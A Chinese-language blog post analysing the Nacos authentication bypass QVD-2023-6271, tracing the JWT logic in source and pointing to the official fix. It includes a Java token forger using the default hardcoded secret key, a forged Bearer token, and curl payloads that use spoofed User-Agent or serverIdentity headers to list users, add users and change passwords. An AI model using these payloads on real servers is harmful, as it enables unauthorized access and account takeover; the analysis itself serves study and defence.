Nacos身份认证绕过漏洞分析
2023-10-18 17:36:36

环境搭建麻了,本来搭建好了,但是没关虚拟机直接合上电脑,再回来就各种报错,***

# Nacos 身份认证绕过漏洞分析 (QVD-2023-6271)

# 远程调试环境搭建

在 startup.sh 加上远程调试的参数

JAVA_OPT="${JAVA_OPT} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"

这里建议使用 jdk8 新一点的版本,我这里是最新的

然后 - Xmx 给大一些,我这里给的 2048,避免虚拟内存不足,否则也有可能会报错

然后直接机上 - m standalone 单机启动即可

image-20231021131105138

# 受影响版本

0.1.0 <= Nacos <= 2.2.0

# 漏洞原理

目前 Nacos 身份认证绕过漏洞 (QVD-2023-6271),开源服务管理平台 Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

来看下官方修复的版本 (2.2.0.1)

Release 2.2.0.1 (March 2nd, 2023) · alibaba/nacos (github.com)

将硬编码写在源码里的秘钥注释掉了

image-20231020185049505

# 源码分析

关于漏洞,CISCN 初赛就打过,也不做过多解释,直接上手来看源码

直接定位到 JwtToken 的产生逻辑这里

com.alibaba.nacos.plugin.auth.impl.JwtTokenManager

首先是 processProperties 方法

1
2
3
4
5
6
7
8
9
10
11
12
private void processProperties() {
this.tokenValidityInSeconds = (Long)EnvUtil.getProperty("nacos.core.auth.plugin.nacos.token.expire.seconds", Long.class, AuthConstants.DEFAULT_TOKEN_EXPIRE_SECONDS);
String encodedSecretKey = EnvUtil.getProperty("nacos.core.auth.plugin.nacos.token.secret.key", "");

try {
this.secretKey = Keys.hmacShaKeyFor((byte[])Decoders.BASE64.decode(encodedSecretKey));
} catch (Exception var3) {
throw new IllegalArgumentException("the length of must great than or equal 32 bytes; And the secret key must be encoded by base64", var3);
}

this.jwtParser = Jwts.parserBuilder().setSigningKey(this.secretKey).build();
}

这里直接获取 SecretKey

1
String encodedSecretKey = EnvUtil.getProperty("nacos.core.auth.plugin.nacos.token.secret.key", "");

也就是配置文件下的

image-20231020201106531

然后通过时间戳来生成,当前时间 + 有效时间,其实也就是 Token 到期的时间

这里的时间是 CST (北美中部标准时间)

image-20231021134030024

image-20231020201351361

那再来看下使用到这一部分代码的登录逻辑

image-20231021124203386

这里直接由 jwtTokenManager 生成相应的值赋给 token

并添加到 HTTP 头中

然后是 authManager,会对 Token 做出合法性判断,不为空且 Bearer 为开头的直接返回第 7 个字符之后的内容,也就是 eyJ… 的 JWT 内容

否则就会切请求包中的对应参数加载

image-20231021141238312

然后再 return Token

image-20231021141309886

处理好 Token 后就进入到当前验证类的 login 方法,这里调用 validate0 来检验 Token

image-20231021141512567

将用户的用户名和识别 ID 存储

上面的操作无误后回到 Controller 层的 user 控制器下

image-20231021141655889

将上面的内容进行汇总

也即将 Token,username,关于这里的 globalAdmin 可以看 https://github.com/alibaba/nacos/issues/5969

image-20231021142527365

最后的 doInvoke 执行以上所有的内容

上面大致走了一下流程,了解了 jwt 的生成逻辑和校验规则,那下面就可以开始伪造了

这里忘记写了一点,关于令牌的有效期,也即生成令牌后多久失效的时间值,在配置文件中

就是 18000 秒,但是还要做单位换算,因为获取当前时间戳的单位就是毫秒

image-20231021151101538

直接 cvJwtTokenManager 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;

import java.util.Date;

public class main {
public static void main(String[] args) {
System.out.println(createToken("nacos"));
}

public static String createToken(String userName) {
String key = "SecretKey012345678901234567890123456789012345678901234567890123456789";
long now = System.currentTimeMillis();
Date validity = new Date(now + 18000*1000L);

Claims claims = Jwts.claims().setSubject(userName);
return Jwts.builder().setClaims(claims).setExpiration(validity).signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key)), SignatureAlgorithm.HS256).compact();
}
}

image-20231021161322404

1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5Nzg5MzkyMn0.O575SLIgoYMLpwHgJwqTCP08dZ93JvNjipsEOIqU6Hc

image-20231021161416466

获取到用户信息

后续关于打开鉴权还是同样存在绕过鉴权的漏洞

https://github.com/alibaba/nacos/issues/4593

image-20231021165055049

这里只要匹配到 UserAgent 为 Nacos-Server

就直接调用 chain.doFilter (request, response);

熟悉过滤器的都清楚,Filter 过滤器处理完相应的逻辑后会去调用到 FilterChain 的 doFilter,再由 FilterChain.doFilter 去调用到 service 方法

这里直接调用了 chain.doFilter (request, response); 也就意味着没有后续的鉴权操作了,而是直接交给 Service 层了

# 漏洞影响范围

1、2.0.0-ALPHA.1

2、1.x.x

访问用户列表接口

1
curl XGET 'http://192.168.230.130:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'

image-20231021193053019

添加新用户

1
curl -XPOST 'http://192.168.230.130:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

image-20231021193418781

再次访问刚才的接口就可以看到新用户了

image-20231021193445741

另一种 bypass

跟进下面的 else

image-20231021194833125

在配置中写了 key 和 value

image-20231021194910654

在 header 头添加

1
serverIdentity: security

也同样可以达到效果

image-20231021195009331

也可以探测版本

ip/nacos/v1/console/server/state

image-20231021195058205

然后就是比较熟悉的 payload

1
2
3
4
5
6
7
8
读取用户账号密码:
curl -X GET "http://192.168.230.130:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur"

添加用户:
curl -X POST "http://192.168.230.130:8848/nacos/v1/auth/users?username=test&password=test"

任意用户密码更改:
curl -X PUT "http://192.168.230.130:8848/nacos/v1/auth/users?username=test&newPassword=test1234"

默认启动是不开启鉴权的

用户也可以开启后修改对应的 key 和 value 来提高安全性

https://nacos.io/zh-cn/blog/announcement-token-secret-key.html